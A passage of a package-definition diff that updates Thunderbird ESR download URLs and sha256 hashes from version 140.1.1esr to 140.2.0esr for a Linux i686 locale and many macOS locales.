+      sha256 = "b66bfbd23972e689e74412c4b578a2cc879a051a130357e660f819ebdd25858a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/zh-TW/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/zh-TW/thunderbird-140.2.0esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "c400336cd38d41aeb35a53b970c54db9a99e19e5dda98622be5e9a4cb1dff647";
+      sha256 = "82032e81e87b7892388682ddfc4c88269b887887efd24c71abea2cafd8ca8620";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/af/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/af/Thunderbird%20140.2.0esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "797575efd5b5b12a3a99bf3f84e10f7f94521874708fead35b06ac12de67e4f6";
+      sha256 = "ce54605c7c0b0a50022cf6bc416ebf08bcd170c114e522008667fc5bf3ce60c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ar/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ar/Thunderbird%20140.2.0esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "42525d2e79aa4e12868930952b7e1c6c609d25f7b0630c3f96daed87e446a7f1";
+      sha256 = "2b061e9287c6a34212147513474f9bf8fe5b831b5466608c9ef9688d2ae58535";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ast/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ast/Thunderbird%20140.2.0esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "29c634a3d625ce3be73efcc845b895603cfb68f37ea910447a297ef8c8078244";
+      sha256 = "d00b40250e7c408da0c7bb340977b482341dbd87a2c434819a29a18080cfa414";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/be/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/be/Thunderbird%20140.2.0esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "fe7f25672c7dd739dfdb54e0a403994de346eb2035dec31d64b7a7685f413874";
+      sha256 = "5054077127678769bf458202c73acd9bec1dce93e9b677a61746dc77cb413530";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/bg/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/bg/Thunderbird%20140.2.0esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "d7bec82a811af8e1206ab9a5cee403c935c295d563aecd60cdb0bb019b195d78";
+      sha256 = "72466fe4addb6e0fc2911fd96e11d349f914670fc28a09235df96cfc966758fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/br/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/br/Thunderbird%20140.2.0esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "aae5b514cc03291e5910f0ce3527b0f36835192bb044541d2fc0083501de918a";
+      sha256 = "41290991d6e680c7a2c82e17c4a869021a3b143cb0e28ac505edfcf443321a70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ca/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ca/Thunderbird%20140.2.0esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "f0c145866c6c75c6b8ca6945ab8490eed0520ab6ed7c62a22084fba5adcd01f3";
+      sha256 = "c99788cda9531ef8f2b817192f373a5f3a640f7115fbfbc11f70dc933e22db27";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/cak/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/cak/Thunderbird%20140.2.0esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "4b1771496eb50682927c50defb86d0c4608b072c70d0bcc95f48e698d55af226";
+      sha256 = "0105d15a127ea53d2131f9f28e52edfe5b1c98c12a9df384fe61c9120f29b0c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/cs/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/cs/Thunderbird%20140.2.0esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "d87b6287f3ff9aaa5bf6009d7f3a17b6e2e10f8ef97918182a45eeafcf3054cc";
+      sha256 = "4df2e9734cbc2fddd6b3330ffc370aff7dca09b73232098bbc94def64860b0c8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/cy/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/cy/Thunderbird%20140.2.0esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "ea62044eb217560f94a4238050c6a00825ee436ad6cf5bb9132015e0dc6b6e73";
+      sha256 = "b6eb8df8d061ee1deaff7ca6879ba46cddbf90790a940e9e1b0adea103ee6b44";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/da/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/da/Thunderbird%20140.2.0esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "ea9ee0aef81160c3b8c9d0429320967b868511f5e1f5bc74a7bf74b215d81a8f";
+      sha256 = "bd322be16edd4383d733b592532cc7b1ec44f0c9f2781a0d4a4743262f6d05db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/de/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/de/Thunderbird%20140.2.0esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "85f90087813a73e85d8541314d4543dac0fbd0bff3053922b34539fc6253c453";
+      sha256 = "905c7c48bfdefd489fb44376852e4a52243e6169a8092f6ce2d96e70874c6862";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/dsb/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/dsb/Thunderbird%20140.2.0esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "486cdbf698ed78d493d6cccf1a7f6eeac25db7226e29c5ca6024e59c1226d6cb";
+      sha256 = "8dc3b37074db57701cf48d4f6cb9f71f7b0bcde95c562c9c7c4673b8777e816f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/el/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/el/Thunderbird%20140.2.0esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "7b19d065927e6ff2dc3ec1fe2cfe147d84e60f2e50d91e788bfb0c46f1f6c1d1";
+      sha256 = "d28ebf8962c8a33c67ebcf600bd8ce41bdf0a6fa7227c9337cd13d9eb1987a12";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/en-CA/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/en-CA/Thunderbird%20140.2.0esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "96f9b9e3f10e06111cb2f2f3889a21ba52e02691542fbe5db92e14b6157a215e";
+      sha256 = "999adb6c3b624c0052fc7eb4297cc30050df23e397a1ae0f7f3ab0760d7ef991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/en-GB/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/en-GB/Thunderbird%20140.2.0esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "d96bab18d6f5d90f399be928796e5b83f713d36798f70dca31a98476594e9d9e";
+      sha256 = "7b47b28f9b8ff5b57a3a053faed2d549a1263f9ae74359799dc3dfd20d51d1be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/en-US/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/en-US/Thunderbird%20140.2.0esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "934eb7a4ed8516600c2bf8bccff3888e68448c8c77320e2a0097835b6639f922";
+      sha256 = "c9875a79879091b5d00567adc2ec6bbb985f130d32df75e4018f4dca9a9ca015";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/es-AR/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/es-AR/Thunderbird%20140.2.0esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "f6fe9a754111f6103bab2de4d071e9178c141180cc0576df1680c1620c624e8d";
+      sha256 = "0767f4c0c5393100337dbb267051d0d4d61637441ff2d8ac797f59a9d9e6f956";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/es-ES/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/es-ES/Thunderbird%20140.2.0esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "e9d3f75885ff8d1b0e7094bf3e33b5752704c531928c38c75d56064b3bfa6810";
+      sha256 = "ad4acb8c8e5b804328c4a075d1ea5aafc6bcce2a17383b85d697331cdd9a6a84";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/es-MX/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/es-MX/Thunderbird%20140.2.0esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "c6ff81be8b3b25e019481ae6aa7e9bf5368c40b1f7d044cd1bf29023c322f274";
+      sha256 = "be1d206f4fe5732e21880f48aabeede6e144f8b0d26f964fceddee8befd4febd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/et/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/et/Thunderbird%20140.2.0esr.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "96987565f5a1aef4cb515340d91b1fc876ee53da711f9d5af3e6641cceabdc84";
+      sha256 = "dcfa0e6eb888a020a9ffcbd5368e021122243261383879ee2155645bd0312c5c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/eu/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/eu/Thunderbird%20140.2.0esr.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "66aacca35cc54596e9e1876609eb72a2f92af1692d5fd6cce81477decd92915e";
+      sha256 = "5ce0b69a5b3f2a1b29b9aca11076d97e3810705c654214edf81b5a67c28457dd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/fi/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/fi/Thunderbird%20140.2.0esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "8cb1a78debfebc3d54c2c7f5da45c3c05b06bcba85e7ccb51f222aa6d79e1739";
+      sha256 = "11ddafa9775ac08020ec5070cc4fb495be2fadd46f3a6d43f0e1a143c9045a2a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/fr/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/fr/Thunderbird%20140.2.0esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "9d4cad3bef814f0718a69a6b3a9e676346c266dd8bf0b0b1e4451858e8d4c0e5";
+      sha256 = "efc74e9e925ba189b97bca77c5c7d38a352e8fb2f14bbd4f1ecf73f493a14c9b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/fy-NL/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/fy-NL/Thunderbird%20140.2.0esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "61b7b484547e911bc645e1b1673b5bede4b9a874090c12ac7d8c935a4ef09da2";
+      sha256 = "b188c3aca74e2860904521a4b64b264004aec15e2d0db87d89c5a048fd712604";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ga-IE/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ga-IE/Thunderbird%20140.2.0esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "2198a3ef1bfd5c9d089a0a4a4e0a693695b82c07dd063c26536e15178c5d6ccb";
+      sha256 = "03258823e37fe90afd0720dddab690f673a4c8a4d03b7d9a9e8d89c6d53b5fa3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/gd/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/gd/Thunderbird%20140.2.0esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "76a58b5b79f38f6921d1011e58ec61e61a2f3e1e8dcf5d293e5da4a7112d4928";
+      sha256 = "39c6364adb55ae147f19ed26ba16a64126d6e9ed7e67e999c9315ca2ddb510ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/gl/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/gl/Thunderbird%20140.2.0esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "02459b648de1ead3884a81c2b34f4d55cb54350545834779a6bd8370a0e99e7e";
+      sha256 = "97888306997dbbc0d1b6408222dc8138894814d373dbbca2e7b904f5612a6d1e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/he/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/he/Thunderbird%20140.2.0esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "d703010093db63fafcddb0476151fa5cac32f239d86744a79ff76dd2e418b273";
+      sha256 = "ba84a780bdbd9fd1be53ab6ef2f646d6d5349ab09395b7b3210d712c8d96398b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hr/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hr/Thunderbird%20140.2.0esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "8c61715202f7ebaa565a23fccf843b4a12fde8003d86ca682390cbeb78fc957f";
+      sha256 = "f2b89aac5dec53a3bce1b7fa00d2e9e5f48712e25497d44a94683e658ef51083";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hsb/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hsb/Thunderbird%20140.2.0esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "c59eaa7a992350649cf490ee00e7e03e3c9a581d5cd5b60779990578fb361d45";
+      sha256 = "a860af6b47cf20030aae796cd1df76d053c658d7509479e458fe7977e44e9a35";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hu/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hu/Thunderbird%20140.2.0esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "81a3e11b53bdf5418d60a5b527e4b1198a4e4c7fee7f9d92b07efa7a88a681c1";
+      sha256 = "760d3f693e21d11b8f6f0a47f7b049231ff8fd3677caff490ff1a21412a11538";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hy-AM/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hy-AM/Thunderbird%20140.2.0esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "862f3693b60e3a35048ffaa408829433975390030b6a6a7da8d597205eac763d";
+      sha256 = "ed2cf577c6748595996839a7b723dd17a1fb84ed28ef6e866a47b7e53ad5c33b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/id/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/id/Thunderbird%20140.2.0esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "005b06b94a27268c4363d8185b61b0ca0a2b7e559e7b6adb7a07d3e20e4939bc";
+      sha256 = "6ff757d63a91c25191f03614706d5c37346075508419443811141a449e9ebd8a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/is/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/is/Thunderbird%20140.2.0esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "55355ca4c324638b653ee1c574dd617205b65ab4147dba8e5426d6ddf9f1d28b";
+      sha256 = "9b8abcbe128a32578e48bb5f3f55f4b5d8552f5121c47ee84b00540cc84cb75d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/it/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/it/Thunderbird%20140.2.0esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "3ebb7b8188cd8c6793a549de0af43fedf3f8a7ae8d9d2a4334d752136164d61f";
+      sha256 = "85a65eed6ea9b4c34ea7e0c51ce66bac0b23326a571a9a8c90378136d0b3e889";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ja-JP-mac/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ja-JP-mac/Thunderbird%20140.2.0esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "e3b776bfcf7e78baf1b0702537c527e9c81ec1f7617056d530a4cf9f1410132b";
+      sha256 = "1fda073e04b32c220d26de16a0e3cceecac7dc118de7ed4228006a6e2f85511d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ka/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ka/Thunderbird%20140.2.0esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "4837e71ad60f6c20404a643a29ffab095593b5a235da1fe6d9be6a932a07c0da";
+      sha256 = "6f12f95134d067ebe1f641581c7f5e30b897fb08177a37c92ca48b1c3d825756";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/kab/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/kab/Thunderbird%20140.2.0esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "b4e97d509004c3c87fe1dd3ec2a45566d4b3b36de88fe41ea67a81864ba0958a";
+      sha256 = "817206e4339853ffab6aca1fab7ca6f1294026a75e6368a9d723a25aa5759991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/kk/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/kk/Thunderbird%20140.2.0esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "89a368c446c9a05fd32fc075106d49c9f9514f0439a67696d573695a050a2e24";
+      sha256 = "c866f4849a1ccbc416b2341be8f008963ad7cf3cf0f4bd2902cba08c629ad6ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ko/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ko/Thunderbird%20140.2.0esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "e06b01a16d1b236bf550a7c3646080845559abfeae21e6a3e3017a664864002d";
+      sha256 = "36c869ce7c2fff3e20cfd818fa33ebd1aae371dd32bfb5c0469f79b3d895966b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/lt/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/lt/Thunderbird%20140.2.0esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "369da53d044d5eb3e2ebaf3f7d03dce9777dd3052415330fbda37bf23f58cc98";
+      sha256 = "29f493b08847d1b490c17e23d4fe6f94be5fd395dda8e991f3236afb7b0a679e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/lv/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/lv/Thunderbird%20140.2.0esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "533e1725b732c4ce9ccffe96c3748e481298d660d0fc190c03816c8929ca0848";
+      sha256 = "91225669ead9f0775d9cf1902d092b8ee7e0635b227c1e15650cac8b14efbc48";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ms/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ms/Thunderbird%20140.2.0esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "a6452269b4d9248da45fb9b2b9740685d4abf7e32f4e1c52ca3360560e3c0a49";
+      sha256 = "5fa2d8881ef16bf4aa2ed4200c3a1eb7f82225e08da8c24fed356b6a735fa458";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/nb-NO/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/nb-NO/Thunderbird%20140.2.0esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "59a82f4c4a20159eb7ed35882f87720a6c047a31e78e61a222c7480bcd1c711e";
+      sha256 = "7f5a59cd8dd68723c67815707541a0d90f950e8fca778c4d07bab38979018241";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/nl/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/nl/Thunderbird%20140.2.0esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "c1032863f047cdcc59504027572c0719500a6388368f61578a937c0d11d316b1";
+      sha256 = "5cd754e1fb31b1d0c0ae9d68cd0d8364d95cf50445a3da023e83cf5f50d2a02a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/nn-NO/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/nn-NO/Thunderbird%20140.2.0esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "7617c3582e2a4d1bab02ee76ac4e2f6cb301f0d9f764cf178a8e5b135add80b9";
+      sha256 = "0faf16cb323faf777e8baf4a43fa7700797b9f6274efcc392e0ad2186e9eb473";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pa-IN/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pa-IN/Thunderbird%20140.2.0esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "8a014b567aca2f29be9b2b12235f3bce26e632292a3ec5dfb5abe02156c62d66";
+      sha256 = "dade69c73af00d92b8cf4b7865a28f32ab658c33b995964e3a20045561789894";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pl/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pl/Thunderbird%20140.2.0esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "75459b73f1697314d7efd71f75c0fc722312a688f63cf408b11f63d228623065";
+      sha256 = "718a80432616090d3e6deb69be9658f74625a44a46b720b397933ef5f3164141";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pt-BR/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pt-BR/Thunderbird%20140.2.0esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "fe4643a894823a43b8026a71f1f2d98a83eaae61c295e2139d59325a5edeb78e";
+      sha256 = "aecae2788d02433ef368c3562369e7403ae9eb8997f351a68b1cd646eccb46d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pt-PT/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pt-PT/Thunderbird%20140.2.0esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "1d97c378456248514e8b0874c3c4e407c7a4b0a971d46d3e28ff9fd88ea03652";
+      sha256 = "f60dd43847efa924d9b856571d0a5a01b6209e0442e5f959f6b9b3fd3477c577";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/rm/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/rm/Thunderbird%20140.2.0esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "9701c817cb919f0c75b08589837197f4c8d65c59c5fb2572014d14664eac04ca";
+      sha256 = "f91d817d92948caacc1345739d89ee67690a9ef75acc1d86f0c0068ee49599e6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ro/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ro/Thunderbird%20140.2.0esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "cfe268bfae42cf72baf53a65ab5b59f07c897e53650b8c4f7fc4e22e037cfe68";
+      sha256 = "e00bb3343c92eb50d703b53a4a48b1315bf099728c83a1d728a39ef3a8304e66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ru/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ru/Thunderbird%20140.2.0esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "a904ded4e1e6554d8ec358a6355f44e091b2632595683c76dd1ebc1ed405e054";
+      sha256 = "c96891f01601bc7ed3fa593bbb1fce27cc9130546d3bd3c22c406357eb5a724e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sk/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sk/Thunderbird%20140.2.0esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "b0e5dde48ee7f62b94d88790e85cd39d4c43cea30bbff8c45dfd1d8e8ea2e007";
+      sha256 = "ba44a57490fb73becdd2563c88534c264b71b06d69670623bd6f62a5880d9723";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sl/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sl/Thunderbird%20140.2.0esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "82922b0d994cea8f8f2746f729b06e827200801b3d7bfdfd52c043961630d6a5";
+      sha256 = "1d2a721bb5dd8e0e3264474a8b33f850ceea3b160b5d8bf006b6e32cb20039a3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sq/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sq/Thunderbird%20140.2.0esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "2ba790ad85c6ee2902be523e324de55723f03185d75c3678f191fbba1150a550";
+      sha256 = "3f9ef5c2857d9cc89376db4ef16c4d7079fa35b465701724c2dbe57a752b970f";
